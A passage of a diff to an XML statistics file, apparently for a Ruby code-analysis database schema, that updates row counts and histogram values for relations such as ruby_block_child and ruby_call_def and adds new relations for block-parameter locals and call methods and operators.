-                                    <v>219</v>
-                                </b>
-                                <b>
-                                    <a>1419</a>
-                                    <b>221660</b>
+                                    <a>1416</a>
+                                    <b>221838</b>
                                     <v>142</v>
                                 </b>
                             </bs>
@@ -5787,12 +5787,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8209814</v>
+                                    <v>8202149</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>282654</v>
+                                    <v>294143</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5808,12 +5808,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8209814</v>
+                                    <v>8202149</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>282654</v>
+                                    <v>294143</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5829,12 +5829,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8212169</v>
+                                    <v>8205110</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>280299</v>
+                                    <v>291182</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5844,11 +5844,11 @@
         </relation>
         <relation>
             <name>ruby_bare_string_child</name>
-            <cardinality>14923</cardinality>
+            <cardinality>14936</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_bare_string</k>
-                    <v>11474</v>
+                    <v>11487</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -5856,7 +5856,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>14923</v>
+                    <v>14936</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -5870,7 +5870,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11146</v>
+                                    <v>11159</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -5891,7 +5891,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11146</v>
+                                    <v>11159</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -5926,7 +5926,7 @@
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>11475</b>
+                                    <b>11488</b>
                                     <v>19</v>
                                 </b>
                             </bs>
@@ -5957,7 +5957,7 @@
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>11475</b>
+                                    <b>11488</b>
                                     <v>19</v>
                                 </b>
                             </bs>
@@ -5974,7 +5974,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14923</v>
+                                    <v>14936</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5990,7 +5990,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14923</v>
+                                    <v>14936</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6000,30 +6000,30 @@
         </relation>
         <relation>
             <name>ruby_bare_string_def</name>
-            <cardinality>11474</cardinality>
+            <cardinality>11487</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>11474</v>
+                    <v>11487</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_bare_symbol_child</name>
-            <cardinality>2137</cardinality>
+            <cardinality>2106</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_bare_symbol</k>
-                    <v>2137</v>
+                    <v>2106</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>3</v>
+                    <v>2</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>2137</v>
+                    <v>2106</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -6037,7 +6037,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6053,7 +6053,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6067,9 +6067,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>705</a>
-                                    <b>706</b>
-                                    <v>3</v>
+                                    <a>709</a>
+                                    <b>710</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6083,9 +6083,9 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>705</a>
-                                    <b>706</b>
-                                    <v>3</v>
+                                    <a>709</a>
+                                    <b>710</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6101,7 +6101,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6117,7 +6117,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2137</v>
+                                    <v>2106</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6127,11 +6127,11 @@
         </relation>
         <relation>
             <name>ruby_bare_symbol_def</name>
-            <cardinality>2137</cardinality>
+            <cardinality>2106</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2137</v>
+                    <v>2106</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -6365,11 +6365,11 @@
         </relation>
         <relation>
             <name>ruby_begin_child</name>
-            <cardinality>7555</cardinality>
+            <cardinality>7535</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_begin</k>
-                    <v>2533</v>
+                    <v>2523</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -6377,7 +6377,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>7555</v>
+                    <v>7535</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -6396,22 +6396,22 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1325</v>
+                                    <v>1317</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>518</v>
+                                    <v>516</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>211</v>
+                                    <v>212</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>231</v>
+                                    <v>230</v>
                                 </b>
                                 <b>
                                     <a>8</a>
@@ -6437,22 +6437,22 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1325</v>
+                                    <v>1317</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>518</v>
+                                    <v>516</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>211</v>
+                                    <v>212</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>231</v>
+                                    <v>230</v>
                                 </b>
                                 <b>
                                     <a>8</a>
@@ -6512,17 +6512,17 @@
                                 </b>
                                 <b>
                                     <a>84</a>
-                                    <b>183</b>
+                                    <b>185</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>315</a>
-                                    <b>1045</b>
+                                    <a>314</a>
+                                    <b>1043</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>2369</a>
-                                    <b>2534</b>
+                                    <a>2359</a>
+                                    <b>2524</b>
                                     <v>2</v>
                                 </b>
                             </bs>
@@ -6578,17 +6578,17 @@
                                 </b>
                                 <b>
                                     <a>84</a>
-                                    <b>183</b>
+                                    <b>185</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>315</a>
-                                    <b>1045</b>
+                                    <a>314</a>
+                                    <b>1043</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>2369</a>
-                                    <b>2534</b>
+                                    <a>2359</a>
+                                    <b>2524</b>
                                     <v>2</v>
                                 </b>
                             </bs>
@@ -6605,7 +6605,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7555</v>
+                                    <v>7535</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6621,7 +6621,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7555</v>
+                                    <v>7535</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6631,26 +6631,26 @@
         </relation>
         <relation>
             <name>ruby_begin_def</name>
-            <cardinality>2533</cardinality>
+            <cardinality>2523</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2533</v>
+                    <v>2523</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_binary_def</name>
-            <cardinality>67989</cardinality>
+            <cardinality>67730</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>67989</v>
+                    <v>67730</v>
                 </e>
                 <e>
                     <k>left</k>
-                    <v>67989</v>
+                    <v>67730</v>
                 </e>
                 <e>
                     <k>operator</k>
@@ -6658,7 +6658,7 @@
                 </e>
                 <e>
                     <k>right</k>
-                    <v>67989</v>
+                    <v>67730</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -6672,7 +6672,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6688,7 +6688,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6704,7 +6704,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6720,7 +6720,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6736,7 +6736,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6752,7 +6752,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -6767,67 +6767,67 @@
                             <bs>
                                 <b>
                                     <a>155</a>
-                                    <b>178</b>
+                                    <b>179</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>230</a>
-                                    <b>370</b>
+                                    <a>231</a>
+                                    <b>369</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>474</a>
-                                    <b>557</b>
+                                    <b>559</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>603</a>
-                                    <b>674</b>
+                                    <b>666</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>749</a>
-                                    <b>808</b>
+                                    <b>813</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>950</a>
-                                    <b>982</b>
+                                    <a>949</a>
+                                    <b>969</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>996</a>
-                                    <b>1015</b>
+                                    <a>1000</a>
+                                    <b>1010</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>1248</a>
-                                    <b>1292</b>
+                                    <b>1317</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1355</a>
-                                    <b>1621</b>
+                                    <a>1348</a>
+                                    <b>1633</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1822</a>
-                                    <b>1978</b>
+                                    <a>1820</a>
+                                    <b>1968</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>2883</a>
-                                    <b>3120</b>
+                                    <a>2381</a>
+                                    <b>3287</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>6102</a>
-                                    <b>6755</b>
+                                    <a>6116</a>
+                                    <b>6739</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>31084</a>
-                                    <b>31085</b>
+                                    <a>31159</a>
+                                    <b>31160</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -6843,67 +6843,67 @@
                             <bs>
                                 <b>
                                     <a>155</a>
-                                    <b>178</b>
+                                    <b>179</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>230</a>
-                                    <b>370</b>
+                                    <a>231</a>
+                                    <b>369</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>474</a>
-                                    <b>557</b>
+                                    <b>559</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>603</a>
-                                    <b>674</b>
+                                    <b>666</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>749</a>
-                                    <b>808</b>
+                                    <b>813</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>950</a>
-                                    <b>982</b>
+                                    <a>949</a>
+                                    <b>969</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>996</a>
-                                    <b>1015</b>
+                                    <a>1000</a>
+                                    <b>1010</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>1248</a>
-                                    <b>1292</b>
+                                    <b>1317</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1355</a>
-                                    <b>1621</b>
+                                    <a>1348</a>
+                                    <b>1633</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1822</a>
-                                    <b>1978</b>
+                                    <a>1820</a>
+                                    <b>1968</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>2883</a>
-                                    <b>3120</b>
+                                    <a>2381</a>
+                                    <b>3287</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>6102</a>
-                                    <b>6755</b>
+                                    <a>6116</a>
+                                    <b>6739</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>31084</a>
-                                    <b>31085</b>
+                                    <a>31159</a>
+                                    <b>31160</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -6919,67 +6919,67 @@
                             <bs>
                                 <b>
                                     <a>155</a>
-                                    <b>178</b>
+                                    <b>179</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>230</a>
-                                    <b>370</b>
+                                    <a>231</a>
+                                    <b>369</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>474</a>
-                                    <b>557</b>
+                                    <b>559</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>603</a>
-                                    <b>674</b>
+                                    <b>666</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>749</a>
-                                    <b>808</b>
+                                    <b>813</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>950</a>
-                                    <b>982</b>
+                                    <a>949</a>
+                                    <b>969</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>996</a>
-                                    <b>1015</b>
+                                    <a>1000</a>
+                                    <b>1010</b>
                                     <v>2</v>
                                 </b>
                                 <b>
                                     <a>1248</a>
-                                    <b>1292</b>
+                                    <b>1317</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1355</a>
-                                    <b>1621</b>
+                                    <a>1348</a>
+                                    <b>1633</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>1822</a>
-                                    <b>1978</b>
+                                    <a>1820</a>
+                                    <b>1968</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>2883</a>
-                                    <b>3120</b>
+                                    <a>2381</a>
+                                    <b>3287</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>6102</a>
-                                    <b>6755</b>
+                                    <a>6116</a>
+                                    <b>6739</b>
                                     <v>2</v>
                                 </b>
                                 <b>
-                                    <a>31084</a>
-                                    <b>31085</b>
+                                    <a>31159</a>
+                                    <b>31160</b>
                                     <v>1</v>
                                 </b>
                             </bs>
@@ -6996,7 +6996,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7012,7 +7012,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7028,7 +7028,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>67989</v>
+                                    <v>67730</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7038,15 +7038,15 @@
         </relation>
         <relation>
             <name>ruby_block_argument_child</name>
-            <cardinality>6048</cardinality>
+            <cardinality>6050</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_block_argument</k>
-                    <v>6048</v>
+                    <v>6050</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>6048</v>
+                    <v>6050</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7060,7 +7060,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6048</v>
+                                    <v>6050</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7076,7 +7076,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6048</v>
+                                    <v>6050</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7086,22 +7086,22 @@
         </relation>
         <relation>
             <name>ruby_block_argument_def</name>
-            <cardinality>6048</cardinality>
+            <cardinality>6050</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>6048</v>
+                    <v>6050</v>
                 </e>
             </columnsizes>
             <dependencies/>
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         <relation>
             <name>ruby_block_child</name>
-            <cardinality>96749</cardinality>
+            <cardinality>97203</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_block</k>
-                    <v>96607</v>
+                    <v>97060</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -7109,7 +7109,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>96749</v>
+                    <v>97203</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7123,7 +7123,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>96516</v>
+                                    <v>96969</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -7144,7 +7144,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>96516</v>
+                                    <v>96969</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -7173,8 +7173,8 @@
                                     <v>12</v>
                                 </b>
                                 <b>
-                                    <a>7467</a>
-                                    <b>7468</b>
+                                    <a>7474</a>
+                                    <b>7475</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -7199,8 +7199,8 @@
                                     <v>12</v>
                                 </b>
                                 <b>
-                                    <a>7467</a>
-                                    <b>7468</b>
+                                    <a>7474</a>
+                                    <b>7475</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -7217,7 +7217,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>96749</v>
+                                    <v>97203</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7233,7 +7233,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>96749</v>
+                                    <v>97203</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7243,11 +7243,11 @@
         </relation>
         <relation>
             <name>ruby_block_def</name>
-            <cardinality>96904</cardinality>
+            <cardinality>97359</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>96904</v>
+                    <v>97359</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -7313,15 +7313,15 @@
         </relation>
         <relation>
             <name>ruby_block_parameters</name>
-            <cardinality>10443</cardinality>
+            <cardinality>10459</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_block</k>
-                    <v>10443</v>
+                    <v>10459</v>
                 </e>
                 <e>
                     <k>parameters</k>
-                    <v>10443</v>
+                    <v>10459</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7335,7 +7335,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>10443</v>
+                                    <v>10459</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7351,7 +7351,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>10443</v>
+                                    <v>10459</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7361,11 +7361,11 @@
         </relation>
         <relation>
             <name>ruby_block_parameters_child</name>
-            <cardinality>27363</cardinality>
+            <cardinality>27190</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_block_parameters</k>
-                    <v>23501</v>
+                    <v>23336</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -7373,7 +7373,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>27363</v>
+                    <v>27190</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7387,12 +7387,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20121</v>
+                                    <v>19964</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3030</v>
+                                    <v>3022</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -7413,12 +7413,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20121</v>
+                                    <v>19964</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>3030</v>
+                                    <v>3022</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -7452,13 +7452,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1073</a>
-                                    <b>1074</b>
+                                    <a>1070</a>
+                                    <b>1071</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>7460</a>
-                                    <b>7461</b>
+                                    <a>7405</a>
+                                    <b>7406</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -7488,13 +7488,13 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>1073</a>
-                                    <b>1074</b>
+                                    <a>1070</a>
+                                    <b>1071</b>
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>7460</a>
-                                    <b>7461</b>
+                                    <a>7405</a>
+                                    <b>7406</b>
                                     <v>3</v>
                                 </b>
                             </bs>
@@ -7511,7 +7511,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>27363</v>
+                                    <v>27190</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7527,7 +7527,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>27363</v>
+                                    <v>27190</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7537,26 +7537,162 @@
         </relation>
         <relation>
             <name>ruby_block_parameters_def</name>
-            <cardinality>23501</cardinality>
+            <cardinality>23336</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>23501</v>
+                    <v>23336</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
+        <relation>
+            <name>ruby_block_parameters_locals</name>
+            <cardinality>16</cardinality>
+            <columnsizes>
+                <e>
+                    <k>ruby_block_parameters</k>
+                    <v>12</v>
+                </e>
+                <e>
+                    <k>index</k>
+                    <v>2</v>
+                </e>
+                <e>
+                    <k>locals</k>
+                    <v>16</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>ruby_block_parameters</src>
+                    <trg>index</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>4</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>ruby_block_parameters</src>
+                    <trg>locals</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>8</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>4</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>index</src>
+                    <trg>ruby_block_parameters</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>1</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>13</b>
+                                    <v>1</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>index</src>
+                    <trg>locals</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>1</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>13</b>
+                                    <v>1</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>locals</src>
+                    <trg>ruby_block_parameters</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>16</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>locals</src>
+                    <trg>index</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>16</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
         <relation>
             <name>ruby_break_child</name>
-            <cardinality>349</cardinality>
+            <cardinality>350</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_break</k>
-                    <v>349</v>
+                    <v>350</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>349</v>
+                    <v>350</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7570,7 +7706,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>349</v>
+                                    <v>350</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7586,7 +7722,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>349</v>
+                                    <v>350</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7596,26 +7732,26 @@
         </relation>
         <relation>
             <name>ruby_break_def</name>
-            <cardinality>3343</cardinality>
+            <cardinality>3338</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3343</v>
+                    <v>3338</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_call_arguments</name>
-            <cardinality>660078</cardinality>
+            <cardinality>661504</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_call</k>
-                    <v>660078</v>
+                    <v>661504</v>
                 </e>
                 <e>
                     <k>arguments</k>
-                    <v>660078</v>
+                    <v>661504</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7629,7 +7765,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>660078</v>
+                                    <v>661504</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7645,7 +7781,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>660078</v>
+                                    <v>661504</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7655,15 +7791,15 @@
         </relation>
         <relation>
             <name>ruby_call_block</name>
-            <cardinality>230967</cardinality>
+            <cardinality>232457</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_call</k>
-                    <v>230967</v>
+                    <v>232457</v>
                 </e>
                 <e>
                     <k>block</k>
-                    <v>230967</v>
+                    <v>232457</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -7677,7 +7813,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>230967</v>
+                                    <v>232457</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7693,7 +7829,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>230967</v>
+                                    <v>232457</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7703,20 +7839,31 @@
         </relation>
         <relation>
             <name>ruby_call_def</name>
-            <cardinality>961220</cardinality>
+            <cardinality>965401</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>961220</v>
+                    <v>965401</v>
+                </e>
+            </columnsizes>
+            <dependencies/>
+        </relation>
+        <relation>
+            <name>ruby_call_method</name>
+            <cardinality>965401</cardinality>
+            <columnsizes>
+                <e>
+                    <k>ruby_call</k>
+                    <v>965401</v>
                 </e>
                 <e>
                     <k>method</k>
-                    <v>961220</v>
+                    <v>965401</v>
                 </e>
             </columnsizes>
             <dependencies>
                 <dep>
-                    <src>id</src>
+                    <src>ruby_call</src>
                     <trg>method</trg>
                     <val>
                         <hist>
@@ -7725,7 +7872,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>961220</v>
+                                    <v>965401</v>
                                 </b>
                             </bs>
                         </hist>
@@ -7733,7 +7880,7 @@
                 </dep>
                 <dep>
                     <src>method</src>
-                    <trg>id</trg>
+                    <trg>ruby_call</trg>
                     <val>
                         <hist>
                             <budget>12</budget>
@@ -7741,7 +7888,55 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>961220</v>
+                                    <v>965401</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>ruby_call_operator</name>
+            <cardinality>540944</cardinality>
+            <columnsizes>
+                <e>
+                    <k>ruby_call</k>
+                    <v>540944</v>
+                </e>
+                <e>
+                    <k>operator</k>
+                    <v>540944</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>ruby_call</src>
+                    <trg>operator</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>540944</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
